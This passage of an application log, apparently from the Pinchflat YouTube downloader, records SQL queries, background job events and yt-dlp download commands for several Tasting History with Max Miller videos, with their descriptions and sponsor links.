https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n#tastinghistory", "Making 200-Year-Old Mayonnaise - How has it changed?", "6e737a2d-aee6-4719-b53e-9208a6dba181", "RdZn86fOHqA", "https://www.youtube.com/watch?v=RdZn86fOHqA", false, 1183, false, 1, "/downloads/Tasting History with Max Miller/2026-03-31 Making 200-Year-Old Mayonnaise - How has it changed?/Making 200-Year-Old Mayonnaise - How has it changed? [RdZn86fOHqA].mp4", false, false, 3, [], 99, ~U[2026-03-31 15:00:00Z], ~U[2026-04-01 06:52:48Z], ~U[2026-04-01 06:52:48Z], "Start speaking a new language in 3 weeks with Babbel 🎉. Get up to 55% OFF ➡️ Here: https://bit.ly/TastingHistoryMarch26\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n#tastinghistory", "Making 200-Year-Old Mayonnaise - How has it changed?", "RdZn86fOHqA", "https://www.youtube.com/watch?v=RdZn86fOHqA", 1183, false, "/downloads/Tasting History with Max Miller/2026-03-31 Making 200-Year-Old Mayonnaise - How has it changed?/Making 200-Year-Old Mayonnaise - How has it changed? [RdZn86fOHqA].mp4", false, 3, ~U[2026-03-31 15:00:00Z]] 02:52:48.975 [debug] QUERY OK source="sources" db=0.1ms idle=23.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:48.975 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:52:48.976 [debug] QUERY OK source="media_items" db=0.3ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13061] 02:52:48.976 [info] Kicking off download for media item #13061 (RdZn86fOHqA) 02:52:48.977 [debug] QUERY OK source="tasks" db=0.1ms idle=2.1ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1740, 13061, ~U[2026-04-01 06:52:48Z], ~U[2026-04-01 06:52:48Z]] 02:52:48.977 [debug] Current batch of media processed. Will check again in 1000ms 02:52:48.984 [info] {"args":{"id":13061},"id":1740,"meta":{},"system_time":1775026368984136930,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:52:48.984 [debug] QUERY OK source="media_items" db=0.1ms idle=8.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13061] 02:52:48.984 [info] User scripts lifecyle file either not present or is empty. Skipping. 02:52:48.984 [debug] QUERY OK source="sources" db=0.1ms idle=7.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:48.985 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:52:48.985 [debug] QUERY OK source="media_items" db=0.2ms idle=7.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13061] 02:52:48.986 [debug] QUERY OK source="media_metadata" db=0.1ms idle=1.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [13061] 02:52:48.986 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:52:48.986 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:52:48.986 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:52:48.987 [debug] Running yt-dlp command for action: get_downloadable_status 02:52:48.987 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:52:48.987 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:52:48.987 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:52:48.987 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/5a/9a/5a9a818c88ead2d698d60cd789d955441d7057cab2f53f55fcd54c5890142460.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:52:49.978 [debug] Current batch of media processed. Will check again in 1000ms 02:52:50.979 [debug] Current batch of media processed. Will check again in 1000ms 02:52:51.130 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:52:51.980 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "duration" => 1375, "filename" => "/downloads/Tasting History with Max Miller/2026-03-24 The Brutal Life of a Medieval Butcher/The Brutal Life of a Medieval Butcher [_iGppK9by3Y].mp4", "id" => "_iGppK9by3Y", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=_iGppK9by3Y", "playlist_index" => 2, "timestamp" => 1774364466, "title" => "The Brutal Life of a Medieval Butcher", "upload_date" => "20260324"} 02:52:51.981 [debug] QUERY OK source="sources" db=0.2ms idle=1453.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:52:51.981 [debug] QUERY OK source="sources" db=0.1ms idle=1453.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:51.983 [debug] QUERY OK source="media_items" db=1.3ms idle=1028.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-24 15:01:06Z], 3] 02:52:51.990 [debug] QUERY OK source="media_items" db=6.5ms idle=853.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "The Brutal Life of a Medieval Butcher", "e1569304-2235-4082-b595-7aa98da55c18", "_iGppK9by3Y", "https://www.youtube.com/watch?v=_iGppK9by3Y", false, 1375, false, 2, "/downloads/Tasting History with Max Miller/2026-03-24 The Brutal Life of a Medieval Butcher/The Brutal Life of a Medieval Butcher [_iGppK9by3Y].mp4", false, false, 3, [], 98, ~U[2026-03-24 15:01:06Z], ~U[2026-04-01 06:52:51Z], ~U[2026-04-01 06:52:51Z], "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "The Brutal Life of a Medieval Butcher", "_iGppK9by3Y", "https://www.youtube.com/watch?v=_iGppK9by3Y", 1375, false, "/downloads/Tasting History with Max Miller/2026-03-24 The Brutal Life of a Medieval Butcher/The Brutal Life of a Medieval Butcher [_iGppK9by3Y].mp4", false, 3, ~U[2026-03-24 15:01:06Z]] 02:52:51.990 [debug] QUERY OK source="sources" db=0.1ms idle=36.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:51.990 [debug] QUERY OK source="media_profiles" db=0.1ms idle=9.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:52:51.991 [debug] QUERY OK source="media_items" db=0.2ms idle=9.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12546] 02:52:51.991 [info] Kicking off download for media item #12546 (_iGppK9by3Y) 02:52:51.992 [debug] Current batch of media processed. Will check again in 1000ms 02:52:52.943 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/5a/9a/5a9a818c88ead2d698d60cd789d955441d7057cab2f53f55fcd54c5890142460.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 02:52:52.943 [debug] Running yt-dlp command for action: download 02:52:52.944 [debug] QUERY OK source="settings" db=0.1ms idle=953.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:52:52.944 [debug] QUERY OK source="settings" db=0.1ms idle=953.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:52:52.944 [debug] QUERY OK source="settings" db=0.0ms idle=953.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:52:52.944 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/f8/eb/f8eb0c6671533d1167ec4fc23e164514635319790a7244ebc4023e2700400262.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:52:52.992 [debug] Current batch of media processed. Will check again in 1000ms 02:52:53.993 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "duration" => 1338, "filename" => "/downloads/Tasting History with Max Miller/2026-03-17 Hardtack Hash from Steerage on a Victorian Ocean Liner/Hardtack Hash from Steerage on a Victorian Ocean Liner [9SvcDeiwXrc].mp4", "id" => "9SvcDeiwXrc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=9SvcDeiwXrc", "playlist_index" => 3, "timestamp" => 1773759631, "title" => "Hardtack Hash from Steerage on a Victorian Ocean Liner", "upload_date" => "20260317"} 02:52:53.994 [debug] QUERY OK source="sources" db=0.2ms idle=1049.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:52:53.994 [debug] QUERY OK source="sources" db=0.1ms idle=1049.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:53.996 [debug] QUERY OK source="media_items" db=1.3ms idle=1039.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-17 15:00:31Z], 3] 02:52:53.997 [debug] QUERY OK source="media_items" db=0.9ms idle=468.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Hardtack Hash from Steerage on a Victorian Ocean Liner", "14b01d35-db89-4aef-b03f-338f6a5eb44c", "9SvcDeiwXrc", "https://www.youtube.com/watch?v=9SvcDeiwXrc", false, 1338, false, 3, "/downloads/Tasting History with Max Miller/2026-03-17 Hardtack Hash from Steerage on a Victorian Ocean Liner/Hardtack Hash from Steerage on a Victorian Ocean Liner [9SvcDeiwXrc].mp4", false, false, 3, [], 98, ~U[2026-03-17 15:00:31Z], ~U[2026-04-01 06:52:53Z], ~U[2026-04-01 06:52:53Z], "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► 